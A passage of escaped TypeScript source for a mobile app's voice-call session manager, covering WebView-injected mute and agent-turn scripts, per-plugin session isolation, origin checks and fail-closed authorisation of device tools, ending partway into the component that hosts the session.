window._adaPeerConnections = [];\n\n function track(t) {\n if (t && t.kind === 'audio' && window._allAudioTracks.indexOf(t) === -1) {\n window._allAudioTracks.push(t);\n }\n }\n\n try {\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n const origGUM = navigator.mediaDevices.getUserMedia.bind(navigator.mediaDevices);\n navigator.mediaDevices.getUserMedia = async function(constraints) {\n const stream = await origGUM(constraints);\n if (constraints && constraints.audio) {\n try { stream.getAudioTracks().forEach(track); } catch (e) {}\n }\n return stream;\n };\n }\n } catch (e) {}\n\n try {\n if (window.RTCPeerConnection) {\n const origPC = window.RTCPeerConnection;\n const origAddTrack = origPC.prototype.addTrack;\n const origAddStream = origPC.prototype.addStream;\n const origAddTransceiver = origPC.prototype.addTransceiver;\n\n origPC.prototype.addTrack = function(t) {\n if (t && t.kind === 'audio') track(t);\n return origAddTrack.apply(this, arguments);\n };\n if (origAddStream) {\n origPC.prototype.addStream = function(stream) {\n try { stream.getAudioTracks().forEach(track); } catch (e) {}\n return origAddStream.apply(this, arguments);\n };\n }\n if (origAddTransceiver) {\n origPC.prototype.addTransceiver = function(arg) {\n if (arg && arg.kind === undefined && arg.track && arg.track.kind === 'audio') {\n track(arg.track);\n }\n const tx = origAddTransceiver.apply(this, arguments);\n try {\n if (tx && tx.sender && tx.sender.track && tx.sender.track.kind === 'audio') track(tx.sender.track);\n } catch (e) {}\n return tx;\n };\n }\n }\n } catch (e) {}\n\n window._adaSetMuted = function(muted) {\n let n = 0;\n if (Array.isArray(window._allAudioTracks)) {\n window._allAudioTracks.forEach(function(t) {\n try { t.enabled = !muted; n++; } catch (e) {}\n });\n }\n return n;\n };\n})(); true;\n`;\n\nconst buildMuteScript = (muted: boolean) => `\n(function(muted) {\n if (typeof window.setMuted === 'function') { window.setMuted(muted); }\n let n = 0;\n if (typeof window._adaSetMuted === 'function') {\n n = window._adaSetMuted(muted);\n }\n if (n === 0 && Array.isArray(window._allAudioTracks)) {\n window._allAudioTracks.forEach(function(t) {\n try { t.enabled = !muted; n++; } catch (e) {}\n });\n }\n console.log('[ada-mute]', muted ? 'MUTED' : 'UNMUTED', 'tracks=', n);\n})(${muted}); true;\n`;\n\n/**\n * The agent-initiated turn — the guide speaking first. Calls the voice app's\n * `__adasAgentTurn(input)`, which must issue a Realtime `response.create` into\n * the ALREADY-OPEN session (Core owns that function; see the spec §4.2).\n *\n * REFUSE, DON'T NO-OP: an undefined function called through injectJavaScript\n * fails SILENTLY in the WebView, and the author sees a guide that simply never\n * speaks first — indistinguishable from a model that chose silence. So if the\n * hook is absent (an older voice page), we post a notice back that surfaces as\n * `lastError`, without ending the session.\n */\nconst buildAgentTurnScript = (input: string) => `\n(function(input) {\n if (typeof window.__adasAgentTurn === 'function') {\n try { window.__adasAgentTurn(input); }\n catch (e) {\n window.ReactNativeWebView && window.ReactNativeWebView.postMessage(JSON.stringify({\n type: 'agentTurnFailed', message: String(e && e.message || e),\n }));\n }\n } else if (window.ReactNativeWebView) {\n window.ReactNativeWebView.postMessage(JSON.stringify({\n type: 'agentTurnUnsupported',\n message: 'voice app does not support agent turns (__adasAgentTurn missing) — update the voice page',\n }));\n }\n})(${JSON.stringify(input)}); true;\n`;\n\n/**\n * A silent OBSERVATION — tell the model something without asking it to speak.\n * Calls the voice app's `__adasObserve(text)`, which adds a `system` conversation\n * item and does NOT request a response (Core owns that function). This is the\n * cheap channel for a continuous stream — e.g. what the camera sees while the\n * user walks — as opposed to `__adasAgentTurn`, which asks the model to speak.\n *\n * Same refuse-don't-no-op contract as the agent turn: a missing hook posts a\n * notice back rather than failing silently.\n */\nconst buildObserveScript = (text: string) => `\n(function(text) {\n if (typeof window.__adasObserve === 'function') {\n try { window.__adasObserve(text); }\n catch (e) {\n window.ReactNativeWebView && window.ReactNativeWebView.postMessage(JSON.stringify({\n type: 'observeFailed', message: String(e && e.message || e),\n }));\n }\n } else if (window.ReactNativeWebView) {\n window.ReactNativeWebView.postMessage(JSON.stringify({\n type: 'observeUnsupported',\n message: 'voice app does not support observe (__adasObserve missing) — update the voice page',\n }));\n }\n})(${JSON.stringify(text)}); true;\n`;\n\n/** How much of a device-tool error the snapshot keeps. The model still gets the\n * whole message; the snapshot is a diagnostic any reader of it can see, and a\n * tool's error can echo the call's arguments (what the user said). */\nconst DEVICE_TOOL_ERROR_MAX = 200;\n\nfunction clipError(message: string): string {\n const chars = Array.from(message); // by code point, so an emoji is never split\n return chars.length > DEVICE_TOOL_ERROR_MAX\n ? chars.slice(0, DEVICE_TOOL_ERROR_MAX - 1).join('') + '…'\n : message;\n}\n\n/** A device-tool call's answer — what the mini-app gets back (plus its\n * correlationId) and what `lastDeviceTool` is built from. ONE object for both,\n * so the model's answer and the snapshot can never disagree. */\ntype DeviceToolAnswer =\n | { ok: true; result: any }\n | { ok: false; reason: VoiceDeviceToolReason; error: string };\n\n/** A finished call, tagged with the session owner's pluginId when the tool is\n * that plugin's own; null when it is not (another solution's tool, the\n * platform's, an unregistered name, no name) — then only the platform sees it. */\ninterface DeviceToolRecord {\n owner: string | null;\n call: VoiceDeviceToolCall;\n}\n\n/** Origin of a URL, or null if it can't be parsed. */\nfunction originOf(url?: string | null): string | null {\n if (!url) return null;\n const m = /^([a-z][a-z0-9+.-]*:\\/\\/[^/?#]+)/i.exec(url);\n return m ? m[1].toLowerCase() : null;\n}\n\ninterface InternalState {\n callState: CallState;\n sessionId: string | null;\n error: string | null;\n transcript: TranscriptEntry[];\n aiPartial: string;\n userPartial: string;\n muted: boolean;\n /** User VAD, from the mini-app's speechActivity events. */\n userSpeaking: boolean;\n /** Epoch ms of the last speaking:false, or null before the first utterance. */\n lastUserSpeechEndedAt: number | null;\n /** This session's finished device-tool calls: the LATEST per owner tag (see\n * DeviceToolRecord), in the order they finished. The platform reads the last\n * one; the owning plugin reads its own (lastDeviceToolFor) — one store, both\n * views derived from it. */\n deviceToolCalls: DeviceToolRecord[];\n /** The WebView should be mounted (a session is wanted / live). */\n mounted: boolean;\n /** The WebView source, computed ONCE at start() so state changes (transcript,\n * partials) never remount the WebView and drop the session. */\n webViewSource: { uri: string } | null;\n skillSlug?: string;\n /** Per-call persona override ({ name, style }) — sent to the voice page on the\n * session URL and declared on POST /session; the server layers it. */\n persona?: VoicePersona;\n}\n\n/** A call that holds the mic/speaker: connecting or connected. */\nfunction isLiveCall(state: VoiceState): boolean {\n return state === 'connecting' || state === 'connected';\n}\n\nconst IDLE: InternalState = {\n callState: 'idle',\n sessionId: null,\n error: null,\n transcript: [],\n aiPartial: '',\n userPartial: '',\n muted: false,\n userSpeaking: false,\n lastUserSpeechEndedAt: null,\n deviceToolCalls: [],\n mounted: false,\n webViewSource: null,\n skillSlug: undefined,\n};\n\ntype Pending = { caller: VoiceCaller; resolve: (s: VoiceSnapshot) => void; reject: (e: Error) => void; timer: any };\n\nclass VoiceSessionManager implements VoiceSessionProvider {\n private state: InternalState = { ...IDLE };\n private listeners = new Set<(e: VoiceEvent) => void>();\n private webView: { injectJavaScript?: (js: string) => void } | null = null;\n private pending: Pending[] = [];\n /**\n * WHO owns the one physical session. Set to the caller that started it from\n * idle (a plugin's pluginId, or the PLATFORM symbol for the built-in sheet),\n * and kept after stop until the next start reassigns it — so a plugin can read\n * its own just-ended transcript but another plugin never can.\n *\n * ISOLATION (GPT blocker on 8881225): every access is scoped through this. A\n * different plugin must not read, control, or attach to another plugin's live\n * conversation just because it declared voice.\n */\n private owner: VoiceCaller | null = null;\n\n /** EVERY start() still in its pre-mount awaits (tool preload, token refresh).\n * The session is not 'connecting' yet, so a stop() arriving now would otherwise\n * be an idle no-op — and a start would then mount a call for a screen that has\n * already gone. A set, not one slot: two concurrent starts must BOTH be\n * cancellable. stop() cancels every pending start of its caller (the platform:\n * all of them); another plugin's stop cancels none. */\n private pendingStarts = new Set<{ caller: VoiceCaller; cancelled: boolean }>();\n\n /**\n * The device-tool names Core ALLOWED for this voice session — Core's sanitized\n * allowset, delivered to the phone in a `deviceToolAllowset` message.\n * Authorization gates against THIS (necessary, alongside the registry's can-do).\n *\n * WHY (GPT gate 1, corrected): the phone only PROPOSES its available tools\n * (sendDeviceToolList); CORE is the session authority and decides which are\n * accepted (session.device_tools). Freezing the phone's own proposal would let\n * a tool Core REJECTED still run locally. So the authz set is populated from\n * Core's accepted set, never from listDeviceTools(). Until Core's set arrives\n * this is null and every call FAILS CLOSED. Pinned once per session; the live\n * registry (which drifts via lazy loads / host registration / tenant changes)\n * never feeds it.\n */\n private frozenTools: Set<string> | null = null;\n\n /** The voice `sessionId` the current allowset is BOUND to. Authorization\n * requires it to equal the active session's id (state.sessionId), so a stale\n * allowset from a previous/other session is refused. */\n private frozenSessionId: string | null = null;\n\n /** A CLEAN call (skills:'none') started by a plugin offers and runs ONLY that\n * plugin's own device tools — not other solutions' tools that happen to be\n * registered on the same phone. null = every registered tool (a normal call,\n * or the platform's). Set by every start(); like `owner`, kept after stop.\n * ONE identity: the caller is the TRUSTED manifest pluginId gateVoice stamps,\n * and the bundleManager registers a plugin's tools under that same id (never\n * the bundle's own short `id`), so exact equality is the whole check. */\n private toolScope: string | null = null;\n\n /** Bumped whenever a session begins or ends. A device-tool call remembers the\n * epoch it arrived in, and its outcome is recorded only if that session is\n * still the current one — a tool that finishes after hang-up (or after a new\n * call started) must not show up as the new session's last call. */\n private sessionEpoch = 0;\n\n /** The platform (built-in sheet, mic indicator, session host) sees and\n * controls any session — it is the user's own surface. A plugin caller may\n * only touch a session it owns. */\n private canAccess(caller: VoiceCaller): boolean {\n return caller === PLATFORM_VOICE_CALLER || this.owner === caller;\n }\n\n private foreignError(): Error {\n const err: any = new Error(\n 'voice: another solution is using the microphone — one live session per device.',\n );\n err.code = 'RESTRICTED';\n return err;\n }\n\n // ── Host wiring (used only by VoiceSessionHost) ──────────────\n\n /** The offscreen WebView sets its ref here so the session can inject into it. */\n setWebView(ref: { injectJavaScript?: (js: string) => void } | null): void {\n this.webView = ref;\n }\n\n /** Whole state — the host reads `mounted` + `webViewSource` to decide what to\n * render, and every reader derives its snapshot from this. */\n getInternal(): Readonly<InternalState> {\n return this.state;\n }\n\n readonly injectedTrackHook = INJECT_TRACK_HOOK;\n\n // ── VoiceAPI (what props.voice and useVoiceCall call) ────────\n\n async start(opts?: VoiceStartOptions, caller: VoiceCaller = PLATFORM_VOICE_CALLER): Promise<VoiceSnapshot> {\n // Single session: if one is live or connecting, ATTACH — never a second\n // Realtime loop (invariant 2). But ONLY the owner (or the platform) may\n // attach; a different plugin that declared voice is REFUSED, not silently\n // joined to a conversation it does not own (GPT isolation blocker). A\n // different skillSlug does NOT restart it.\n if (this.state.callState === 'connected') {\n if (!this.canAccess(caller)) throw this.foreignError();\n return this.realSnapshot(caller);\n }\n if (this.state.callState === 'connecting') {\n if (!this.canAccess(caller)) throw this.foreignError();\n return this.waitForConnect(caller);\n }\n\n if (opts?.skills === 'none' && opts?.skillSlug) {\n throw new Error(\"voice: skills:'none' (a clean call) cannot also hand the mic to a skill (skillSlug).\");\n }\n const ticket = { caller, cancelled: false };\n this.pendingStarts.add(ticket);\n\n // Device tools only exist once their bundle is evaluated; a user who goes\n // straight to voice can otherwise ask for a tool the phone never loaded.\n // Best-effort — a failure just means no device tools this time.\n try {\n await ensureDeviceToolsLoaded();\n } catch (e: any) {\n console.warn('[voiceSession] device tool preload failed:', e?.message || String(e));\n }\n\n // Hand the WebView a FRESH token before it mounts (it never refreshes once\n // mounted). Only pays a round-trip when near expiry.\n try {\n if (tokenNeedsRefresh(getToken())) await refreshToken();\n } catch {\n // Proceed with whatever token we have; voice-backend surfaces a clean auth\n // error rather than us blocking the call.\n }\n\n this.pendingStarts.delete(ticket);\n if (ticket.cancelled) throw new Error('voice: stopped before the session started');\n // Another start() may have mounted a session while we awaited — attach to it\n // (or be refused) exactly as the entry checks would have, never mount twice.\n // (Re-read: the awaits above can change it; the entry checks' narrowing can't.)\n const after = this.getInternal().callState;\n if (after === 'connected') {\n if (!this.canAccess(caller)) throw this.foreignError();\n return this.realSnapshot(caller);\n }\n if (after === 'connecting') {\n if (!this.canAccess(caller)) throw this.foreignError();\n return this.waitForConnect(caller);\n }\n\n // Idle → this caller becomes the owner of the new session. A NEW session\n // re-freezes its tool set on the next tool-list request.\n this.owner = caller;\n this.toolScope = opts?.skills === 'none' && typeof caller === 'string' ? caller : null;\n this.frozenTools = null;\n this.frozenSessionId = null;\n this.sessionEpoch++;\n const skillSlug = opts?.skillSlug;\n this.setState({\n callState: 'connecting',\n error: null,\n transcript: [],\n aiPartial: '',\n userPartial: '',\n muted: false,\n // A session that ended from inside the voice page (not via stop()) left\n // its calls here; the new session starts with none.\n deviceToolCalls: [],\n mounted: true,\n skillSlug,\n persona: opts?.persona,\n webViewSource: { uri: this.buildUri(skillSlug, opts?.persona, opts?.skills) },\n });\n return this.waitForConnect(caller);\n }\n\n stop(caller: VoiceCaller = PLATFORM_VOICE_CALLER): void {\n // A plugin may not hang up another solution's live call. (Idle stop is a\n // harmless no-op for anyone.)\n if (this.state.callState !== 'idle' && !this.canAccess(caller)) throw this.foreignError();\n // Starts still before their mount: cancel ALL of this caller's (the platform:\n // everyone's) — another plugin must not be able to abort someone's call.\n for (const t of [...this.pendingStarts]) {\n if (caller === PLATFORM_VOICE_CALLER || caller === t.caller) {\n t.cancelled = true;\n this.pendingStarts.delete(t);\n }\n }\n this.webView?.injectJavaScript?.('window.hangUp && window.hangUp(); true;');\n this.rejectPending(new Error('voice: session stopped before it connected'));\n this.frozenTools = null; // the session's authorized set ends with the session\n this.frozenSessionId = null;\n this.sessionEpoch++; // a tool still running for this session records nothing\n this.setState({\n ...IDLE,\n // keep the transcript of the call that just ended for any reader still up\n transcript: this.state.transcript,\n });\n // owner is intentionally KEPT (not reset to null): the next start() from\n // idle reassigns it, and until then the owner can still read its own\n // just-ended transcript while others cannot.\n }\n\n setMuted(muted: boolean, caller: VoiceCaller = PLATFORM_VOICE_CALLER): void {\n if (this.state.callState !== 'idle' && !this.canAccess(caller)) throw this.foreignError();\n this.webView?.injectJavaScript?.(buildMuteScript(muted));\n this.setState({ muted });\n }\n\n prompt(input: string, caller: VoiceCaller = PLATFORM_VOICE_CALLER): void {\n if (this.state.callState !== 'connected') {\n throw new Error('voice: session is not connected — call start() and await it before prompt().');\n }\n if (!this.canAccess(caller)) throw this.foreignError();\n this.webView?.injectJavaScript?.(buildAgentTurnScript(input));\n }\n\n /**\n * Stream a silent observation into the live session — tell the model without\n * asking it to speak. The cheap channel behind the gated props.voice.observe();\n * every item stays in the model's context for the call, so a caller sends only\n * material changes. Owner-scoped like every other control.\n */\n observe(text: string, caller: VoiceCaller = PLATFORM_VOICE_CALLER): void {\n if (this.state.callState !== 'connected') {\n throw new Error('voice: session is not connected — observe() needs a live session.');\n }\n if (!this.canAccess(caller)) throw this.foreignError();\n this.webView?.injectJavaScript?.(buildObserveScript(text));\n }\n\n getSnapshot(caller: VoiceCaller = PLATFORM_VOICE_CALLER): VoiceSnapshot {\n // A non-owner sees \"you have no session\" — which is TRUE for it — and learns\n // nothing about the conversation another solution is holding. This is not a\n // fake idle (invariant 6 is about an UNDECLARED plugin): a declared plugin\n // that does not own the live session genuinely has none of its own.\n return this.canAccess(caller) ? this.realSnapshot(caller) : this.foreignSnapshot();\n }\n\n /** The snapshot for a caller that may access the session. Everything is the\n * session's, except `lastDeviceTool`, which is scoped to the caller's tools. */\n private realSnapshot(caller: VoiceCaller): VoiceSnapshot {\n const s = this.state;\n return {\n state: s.callState,\n sessionId: s.sessionId,\n muted: s.muted,\n speaking: !!s.aiPartial,\n listening: !!s.userPartial,\n userSpeaking: s.userSpeaking,\n lastUserSpeechEndedAt: s.lastUserSpeechEndedAt,\n lastDeviceTool: this.lastDeviceToolFor(caller),\n authorizedSessionId: this.frozenSessionId,\n lastError: s.error,\n };\n }\n\n /**\n * The last finished device-tool call THIS caller may see. The platform (the\n * user's own surface) sees every call. A plugin sees only calls to tools it\n * registered — even on a session it owns, the model can call another\n * solution's tool (a normal call offers every registered tool), and that\n * tool's name and error are not this plugin's to read.\n */\n private lastDeviceToolFor(caller: VoiceCaller): VoiceDeviceToolCall | null {\n const calls = this.state.deviceToolCalls;\n if (caller === PLATFORM_VOICE_CALLER) return calls.length ? calls[calls.length - 1].call : null;\n return calls.find(r => r.owner === caller)?.call ?? null;\n }\n\n private foreignSnapshot(): VoiceSnapshot {\n return {\n state: 'idle', sessionId: null, muted: false, speaking: false, listening: false,\n userSpeaking: false, lastUserSpeechEndedAt: null, lastDeviceTool: null,\n authorizedSessionId: null, lastError: null,\n };\n }\n\n subscribe(cb: (event: VoiceEvent) => void, caller: VoiceCaller = PLATFORM_VOICE_CALLER): VoiceSubscription {\n // Scope the stream: a non-owner's callback never fires (it has no session to\n // observe), so a plugin cannot watch another solution's conversation by\n // pre-registering a subscription before/while it is live. When this caller\n // later owns a session, canAccess flips true and its callback starts firing.\n const wrapped = (event: VoiceEvent) => { if (this.canAccess(caller)) cb(event); };\n this.listeners.add(wrapped);\n return { unsubscribe: () => { this.listeners.delete(wrapped); } };\n }\n\n transcript(caller: VoiceCaller = PLATFORM_VOICE_CALLER): TranscriptEntry[] {\n return this.canAccess(caller) ? this.state.transcript.slice() : [];\n }\n\n // ── WebView plumbing ─────────────────────────────────────────\n\n private buildUri(skillSlug?: string, persona?: VoicePersona, skills?: VoiceStartOptions['skills']): string {\n const token = getToken();\n const tenant = getTenant();\n const actorId = getUser()?.actorId || '';\n const skillParam = skillSlug ? `&skillSlug=${encodeURIComponent(skillSlug)}` : '';\n // Declared start option, carried on the same URL as tenant/authToken; the\n // voice page forwards it as POST /session `persona`, where it's sanitized.\n const p = persona && (persona.name || persona.style)\n ? { ...(persona.name ? { name: persona.name } : {}), ...(persona.style ? { style: persona.style } : {}) }\n : null;\n const personaParam = p ? `&persona=${encodeURIComponent(JSON.stringify(p))}` : '';\n // Clean call: only the one reduce-only value is ever sent; anything else is\n // not a request at all (the server accepts only 'none' too).\n const skillsParam = skills === 'none' ? '&skills=none' : '';\n return `${getVoiceApiUrl()}/app?mode=mini&embedded=rn&authToken=${encodeURIComponent(token || '')}&tenant=${encodeURIComponent(tenant)}&actorId=${encodeURIComponent(actorId)}${skillParam}${personaParam}${skillsParam}`;\n }\n\n /** Handle a postMessage from the WebView. `event` is the RN WebView event. */\n handleMessage(event: any): void {\n let data: any;\n try {\n data = JSON.parse(event.nativeEvent.data);\n } catch {\n return;\n }\n switch (data.type) {\n case 'callState':\n case 'call-state':\n if (data.state) this.setState({ callState: data.state });\n if (data.sessionId) this.setState({ sessionId: data.sessionId });\n if (data.error) this.setState({ error: data.error });\n if (data.state === 'connected') this.resolvePending();\n if (data.state === 'error') this.rejectPending(new Error(data.error || 'voice: connection error'));\n break;\n case 'transcript':\n this.appendTranscript({ role: data.role, text: data.text, ts: Date.now() });\n break;\n case 'aiPartial':\n this.setState({ aiPartial: data.text });\n break;\n case 'userPartial':\n this.setState({ userPartial: data.text });\n break;\n case 'clearPartials':\n this.setState({ aiPartial: '', userPartial: '' });\n break;\n // User VAD from the mini-app. `at` is when it happened; on speaking:false\n // we stamp lastUserSpeechEndedAt so a solution can gate \"speak after N s of\n // silence\" on the first real stop, never before the user has spoken.\n case 'speechActivity': {\n const speaking = !!data.speaking;\n const at = typeof data.at === 'number' ? data.at : Date.now();\n this.setState(\n speaking\n ? { userSpeaking: true }\n : { userSpeaking: false, lastUserSpeechEndedAt: at },\n );\n break;\n }\n case 'error':\n this.setState({ error: data.message, callState: 'error' });\n this.rejectPending(new Error(data.message || 'voice: error'));\n break;\n // A proactive turn couldn't run (older voice page / hook threw). NON-FATAL:\n // the session stays live; we only surface why the guide didn't speak.\n case 'agentTurnUnsupported':\n case 'agentTurnFailed':\n case 'observeUnsupported':\n case 'observeFailed':\n this.setState({ error: data.message || 'voice: channel notice' });\n break;\n // Device tools — executed locally, origin-checked. The model's function\n // call already arrived on this phone; only the voice app's own origin may\n // drive the camera/GPS.\n case 'device-tool-list': {\n const listSender = originOf(event?.nativeEvent?.url);\n const listExpected = originOf(getVoiceApiUrl());\n if (!listSender || !listExpected || listSender !== listExpected) break;\n this.sendDeviceToolList(data.correlationId);\n break;\n }\n // CORE's ALLOWSET for this session — what the model may ASK for. Core sends\n // it (even empty, on purpose) at session start. It is a NECESSARY gate, not\n // the whole story: a call must be in the allowset AND the device must\n // actually have the tool (the registry check inside callDeviceTool) — Core\n // says what may be asked, the device decides what it will do.\n //\n // Origin-checked (only the voice app may set it) and pinned ONCE per session\n // (a later message cannot widen it). An EMPTY allowset (arrived) refuses\n // everything but is distinct from NEVER-arrived (frozenTools stays null);\n // both fail closed here — we never fall back to the phone's own registry,\n // which is the seam this closes.\n case 'deviceToolAllowset': {\n const sender = originOf(event?.nativeEvent?.url);\n const expected = originOf(getVoiceApiUrl());\n if (!sender || !expected || sender !== expected) break;\n // Bind the allowset to its sessionId. Pin (or REPLACE for a different\n // session) but never WIDEN within the same session — a second allowset\n // for the same sessionId is ignored. Requires a string sessionId, so an\n // allowset without one never authorizes anything (fail closed).\n if (Array.isArray(data.tools) && typeof data.sessionId === 'string' && data.sessionId !== this.frozenSessionId) {\n this.frozenTools = new Set(data.tools.filter((n: unknown) => typeof n === 'string'));\n this.frozenSessionId = data.sessionId;\n }\n break;\n }\n case 'device-tool-call': {\n const sender = originOf(event?.nativeEvent?.url);\n const expected = originOf(getVoiceApiUrl());\n if (!sender || !expected || sender !== expected) {\n console.warn(`[voiceSession] REFUSED device tool call from \"${sender || 'unknown origin'}\" (expected \"${expected}\")`);\n break;\n }\n void this.handleDeviceToolCall(data);\n break;\n }\n }\n }\n\n /**\n * One device-tool call, arrival to outcome: validate → authorize → run. The\n * answer goes back to the mini-app (the model reads it) AND becomes\n * `lastDeviceTool` — the same object, recorded only once it is known, so a\n * refused call never looks like one that ran.\n */\n private async handleDeviceToolCall(data: any): Promise<void> {\n const { correlationId, name, args, timeoutMs } = data || {};\n const at = Date.now();\n const epoch = this.sessionEpoch;\n const toolName = typeof name === 'string' ? name : '';\n // Which plugin may later read this call. The only plugin that can read this\n // session's snapshot at all is its owner (any other gets the foreign one), so\n // the call is tagged with the owner only if the tool is registered BY it, as\n // of arrival — the same check a clean call's scope uses. Anything else\n // (another solution's tool, the platform's, an unregistered name) is null:\n // the platform's to see, no plugin's.\n const sessionOwner = this.owner;\n const owner = typeof sessionOwner === 'string' && toolName && hasDeviceTool(toolName, sessionOwner)\n ? sessionOwner\n : null;\n\n let answer: DeviceToolAnswer;\n if (!toolName) {\n answer = { ok: false, reason: 'invalid', error: 'The device tool call named no tool.' };\n } else if (!correlationId) {\n answer = {\n ok: false, reason: 'invalid',\n error: `The call to \"${toolName}\" carried no correlationId, so it could not be answered.`,\n };\n } else if (!this.isToolAuthorized(toolName)) {\n // AUTHORIZATION against the FROZEN session set, not the live registry\n // (GPT gate 1). A tool that appeared after connect — the drift case — is\n // refused here, before execution, even if it is registered right now.\n // Both refusals fail closed, but they are DIFFERENT answers to the model:\n // NOT-YET-TOLD (Core's allowset hasn't arrived) is transient — retry;\n // TOLD-AND-DENIED (allowset present, tool not in it / wrong session /\n // unregistered) is final. Same refusal, different sentence.\n const notReady = this.frozenTools === null;\n console.warn(`[voiceSession] REFUSED \"${toolName}\" — ${notReady ? 'allowset not received yet' : 'not authorized for this session'}`);\n answer = notReady\n ? {\n ok: false, reason: 'not_ready',\n error: 'The voice session is still starting up — its tool allowset has not arrived yet. Try again in a moment.',\n }\n : { ok: false, reason: 'not_authorized', error: `\"${toolName}\" is not available in this voice session.` };\n } else {\n answer = await this.runDeviceTool(toolName, args, timeoutMs);\n }\n\n // A call without a correlationId cannot be answered — nothing is waiting on it.\n if (correlationId) this.postDeviceToolResult({ correlationId, ...answer });\n\n if (epoch !== this.sessionEpoch) return; // its session ended while it ran\n const ms = Math.max(0, Date.now() - at);\n const call: VoiceDeviceToolCall = answer.ok\n ? { name: toolName, at, ms, ok: true, reason: null, error: null }\n : { name: toolName, at, ms, ok: false, reason: answer.reason, error: clipError(answer.error) };\n this.setState({\n deviceToolCalls: [...this.state.deviceToolCalls.filter(r => r.owner !== owner), { owner, call }],\n });\n }\n\n /**\n * Final authorization = Core's frozen allowset ∩ the current valid local\n * registry, bound to the ACTIVE session. All must hold:\n * - a Core allowset arrived and is bound to THIS session (frozenSessionId ===\n * the active state.sessionId) — a missing or stale/wrong-session allowset\n * fails closed;\n * - the tool is IN that allowset (Core approved it); AND\n * - the tool is STILL registered locally right now (removed-after-approval is\n * refused; a lazily-added tool Core never approved is refused) — and, on a\n * clean call, registered by the call's owner.\n * No fallback to the live registry alone, ever.\n */\n private isToolAuthorized(name: unknown): boolean {\n if (typeof name !== 'string') return false;\n if (this.frozenTools === null || this.frozenSessionId === null) return false;\n if (this.frozenSessionId !== this.state.sessionId) return false;\n if (!this.frozenTools.has(name)) return false;\n return hasDeviceTool(name, this.toolScope ?? undefined); // still registered locally right now\n }\n\n /** Answer the mini-app's pending device-tool request (a call's outcome, or the\n * tool list) — it resolves the request with this payload by correlationId. */\n private postDeviceToolResult(payload: { correlationId: string } & Record<string, unknown>): void {\n this.webView?.injectJavaScript?.(\n `window.__adasDeviceToolResult && window.__adasDeviceToolResult(${JSON.stringify(\n JSON.stringify(payload),\n )}); true;`,\n );\n }\n\n /** PROPOSE the phone's available tools — this is an offer to Core, not the\n * authorization set. Core sanitizes it and returns the accepted set in a\n * `deviceToolAllowset` message, which is what actually gates execution. */\n private sendDeviceToolList(correlationId: string): void {\n const scope = this.toolScope;\n const tools = listDeviceTools().filter(t => scope === null || t.pluginId === scope).map(t => ({\n name: t.name,\n description: t.description,\n input_schema: t.input_schema,\n }));\n this.postDeviceToolResult({ correlationId, ok: true, tools });\n }\n\n /** Run an authorized device tool. Never throws: every failure is an answer. */\n private async runDeviceTool(name: string, args: any, timeoutMs: number | undefined): Promise<DeviceToolAnswer> {\n try {\n const outcome = await callDeviceTool(name, args || {}, { timeoutMs });\n return outcome.ok\n ? { ok: true, result: outcome.result }\n : { ok: false, reason: outcome.reason, error: outcome.error };\n } catch (err: any) {\n return { ok: false, reason: 'failed', error: err?.message || String(err) };\n }\n }\n\n // ── internals ────────────────────────────────────────────────\n\n private setState(partial: Partial<InternalState>): void {\n const wasLive = isLiveCall(this.state.callState);\n this.state = { ...this.state, ...partial };\n const isLive = isLiveCall(this.state.callState);\n // The device's CALL audio mode follows the call: on as it starts connecting\n // (before the WebView opens the mic), off as soon as it is no longer live —\n // whichever path ends it (stop(), the page hanging up, an error).\n if (wasLive !== isLive) this.setCallAudio(isLive);\n this.emit({ type: 'state' });\n }\n\n private setCallAudio(on: boolean): void {\n const audio = getCallAudioProvider();\n if (!audio) return;\n try {\n if (on) audio.beginCall(); else audio.endCall();\n } catch (e: any) {\n console.warn('[voiceSession] call audio mode failed:', e?.message || String(e));\n }\n }\n\n private appendTranscript(entry: TranscriptEntry): void {\n this.state = { ...this.state, transcript: [...this.state.transcript, entry] };\n this.emit({ type: 'transcript' });\n }\n\n private emit(event: VoiceEvent): void {\n for (const cb of this.listeners) {\n try { cb(event); } catch (e) { console.warn('[voiceSession] listener threw', e); }\n }\n }\n\n private waitForConnect(caller: VoiceCaller): Promise<VoiceSnapshot> {\n return new Promise<VoiceSnapshot>((resolve, reject) => {\n const timer = setTimeout(() => {\n this.pending = this.pending.filter(p => p.timer !== timer);\n reject(new Error('voice: timed out waiting to connect (is VoiceSessionHost mounted?)'));\n }, CONNECT_TIMEOUT_MS);\n this.pending.push({ caller, resolve, reject, timer });\n });\n }\n\n private resolvePending(): void {\n // Everyone still waiting on connect already passed the access check in\n // start(), so each gets the real snapshot — as ITS caller (lastDeviceTool\n // is scoped per caller).\n const waiting = this.pending;\n this.pending = [];\n for (const p of waiting) { clearTimeout(p.timer); p.resolve(this.realSnapshot(p.caller)); }\n }\n\n private rejectPending(err: Error): void {\n const waiting = this.pending;\n this.pending = [];\n for (const p of waiting) { clearTimeout(p.timer); p.reject(err); }\n }\n\n /** TEST ONLY: reset the singleton to a clean idle state (mirrors the\n * __resetSessionSyncForTest precedent). Not part of any surface. */\n __resetForTest(): void {\n this.rejectPending(new Error('voice: reset'));\n this.state = { ...IDLE };\n this.owner = null;\n this.toolScope = null;\n this.pendingStarts.clear();\n this.frozenTools = null;\n this.frozenSessionId = null;\n this.sessionEpoch++;\n this.listeners.clear();\n this.webView = null;\n }\n}\n\n/** The one live session. Handed to setVoiceProvider(voiceSession) at startup. */\nexport const voiceSession = new VoiceSessionManager();\n","/**\n * VoiceSessionHost — the app-root mount that keeps the voice session alive.\n *\n * Renders nothing visible: an OFFSCREEN WebView bound to the `voiceSession`\n * singleton. Mounted ONCE at the app root (like VisionStreamHost for the\n * camera), so the live loop no longer lives inside whatever screen happened to\n * open it. Unmount a UI and the session survives; that is the whole point of the\n * split (spec invariant 3).\n *\n * It re-renders ONLY when the session starts or stops (the mount signature),\n * never on transcript or partial-caption churn — a remount would drop the\n * WebView and kill the session, the exact bug this exists to prevent. The\n * WebView source is computed once at start() and cached in the session, so it is\n * stable across the host's lifetime.\n */\nimport React, { useCallback, useEffect, useReducer, useRef } from 'react';\nimport { View, StyleSheet } from 'react-native';\nimport { WebView } from 'react-native-webview';\nimport { voiceSession } from './voiceSession';\n\nexport default function VoiceSessionHost() {\n const [, force] = useReducer((x: number) => x + 1, 0);\n const lastSig = useRef<string>('');\n\n useEffect(() => {\n // Re-render only when mount-relevant state changes — not on every transcript\n // line, which would remount the WebView and drop the session.\n const sub = voiceSession.subscribe(() => {\n const s = voiceSession.getInternal();\n const sig = `${s.mounted}|${s.webViewSource?.uri || ''}`;\n if (sig !== 